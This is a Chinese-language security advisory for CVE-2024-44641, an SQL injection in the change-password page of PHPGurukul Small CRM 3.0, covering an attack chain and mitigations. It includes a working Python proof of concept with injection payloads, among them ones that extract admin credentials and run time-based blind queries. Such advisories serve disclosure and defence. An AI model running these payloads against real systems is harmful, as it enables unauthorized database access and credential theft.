IPBUF安全漏洞报告
English
CVE-2024-44641 CVSS 6.5 中危

CVE-2024-44641 PHPGurukul Small CRM 3.0 SQL注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2024-44641
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Small CRM 3.0

相关标签

SQL注入PHPGurukul Small CRMCVE-2024-44641change-password.phpoldpass参数认证绕过Web应用安全数据库安全

漏洞概述

CVE-2024-44641是PHPGurukul Small CRM 3.0中发现的一个中等严重性SQL注入漏洞。该漏洞存在于change-password.php页面中的oldpass参数,攻击者可通过构造恶意SQL语句利用此漏洞进行未授权访问。PHPGurukul Small CRM是一款基于PHP和MySQL的客户关系管理系统,广泛应用于中小企业进行客户数据管理和销售流程跟踪。由于该漏洞无需认证即可利用(PR:N),且CVSS评分为6.5,攻击者可利用该漏洞窃取数据库中的敏感信息,包括用户凭证、客户数据、商业机密等。此漏洞对系统机密性和完整性造成较低影响,CVSS向量显示攻击复杂度低(AC:L),无需用户交互(UI:N),属于网络可远程利用的高风险漏洞。建议受影响的用户尽快采取修复措施,避免遭受恶意攻击。

技术细节

该SQL注入漏洞存在于PHPGurukul Small CRM 3.0的密码修改功能模块中,具体位置为change-password.php文件内的oldpass参数。漏洞产生的根本原因是应用程序在处理用户输入时未对oldpass参数进行充分的输入验证和SQL语句参数化处理。攻击者可通过在oldpass参数中注入恶意SQL语句,如使用UNION SELECT、布尔盲注或时间盲注等技术,绕过身份验证机制或提取数据库中的敏感信息。在密码修改场景中,应用程序通常需要验证用户输入的旧密码是否正确,攻击者可利用SQL注入修改查询逻辑,例如使用' OR '1'='1类型的payload绕过密码验证。此外,攻击者还可利用该漏洞进行以下操作:1)通过UNION注入提取数据库版本、用户信息等元数据;2)通过布尔盲注逐字符猜测管理员密码;3)通过时间盲注在无回显情况下获取数据;4)利用注入点进行进一步的系统渗透。攻击者无需任何认证即可发起攻击,这大大增加了漏洞的利用风险。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站使用的PHPGurukul Small CRM版本,并定位change-password.php页面
STEP 2
步骤2: 构建恶意请求
攻击者构造包含SQL注入payload的POST请求,在oldpass参数中注入恶意SQL语句
STEP 3
步骤3: 发送攻击请求
通过HTTP协议向目标服务器的change-password.php发送构造的恶意请求,无需任何认证
STEP 4
步骤4: 数据库操作
恶意SQL语句在数据库服务器上执行,攻击者可提取敏感数据或绕过身份验证
STEP 5
步骤5: 数据窃取或权限提升
攻击者利用获取的管理员凭证进行横向移动或窃取客户敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-44641 SQL Injection PoC # Target: PHPGurukul Small CRM 3.0 # Vulnerability: SQL Injection in change-password.php oldpass parameter def sql_injection_test(target_url, payload): """ Test for SQL injection vulnerability in oldpass parameter """ # Prepare the injection payload injection_data = { 'oldpass': payload, 'newpass': 'TestPass123', 'confirmpass': 'TestPass123' } try: # Send POST request to change-password.php response = requests.post( target_url + '/change-password.php', data=injection_data, timeout=10 ) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2024-44641.py <target_url>") print("Example: python cve-2024-44641.py http://target.com/small-crm") sys.exit(1) target = sys.argv[1].rstrip('/') print("[*] CVE-2024-44641 SQL Injection Tester") print(f"[*] Target: {target}") # Test payloads payloads = [ "' OR '1'='1", # Basic bypass "' OR '1'='1' --", # MySQL comment bypass "' UNION SELECT NULL--", # Union injection test "admin'--", # Admin bypass "' OR 1=1 LIMIT 1--" # Boolean-based ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") response = sql_injection_test(target, payload) if response: print(f"[+] Response status: {response.status_code}") if 'success' in response.text.lower() or 'password changed' in response.text.lower(): print("[!] Potential vulnerability detected!") else: print("[-] No obvious vulnerability indicator") if __name__ == '__main__': main() # Additional exploitation techniques: # 1. Database enumeration: # Payload: ' UNION SELECT database(),user(),version()-- # # 2. Extract admin credentials: # Payload: ' UNION SELECT username,password FROM tbladmin-- # # 3. Blind boolean-based: # Payload: ' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)='1 # # 4. Time-based blind injection: # Payload: ' AND SLEEP(5)--

影响范围

PHPGurukul Small CRM 3.0

防御指南

临时缓解措施
在官方修复补丁发布之前,建议采取以下临时缓解措施:1)限制change-password.php页面的访问,仅允许已认证用户访问;2)在Web服务器层面配置SQL注入检测规则,拦截可疑请求;3)定期检查应用日志,监控异常的数据库查询行为;4)考虑暂时禁用密码修改功能或使用第三方认证系统替代;5)实施IP白名单或地理位置限制,减少攻击面;6)对现有数据库进行安全审计,检查是否已被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表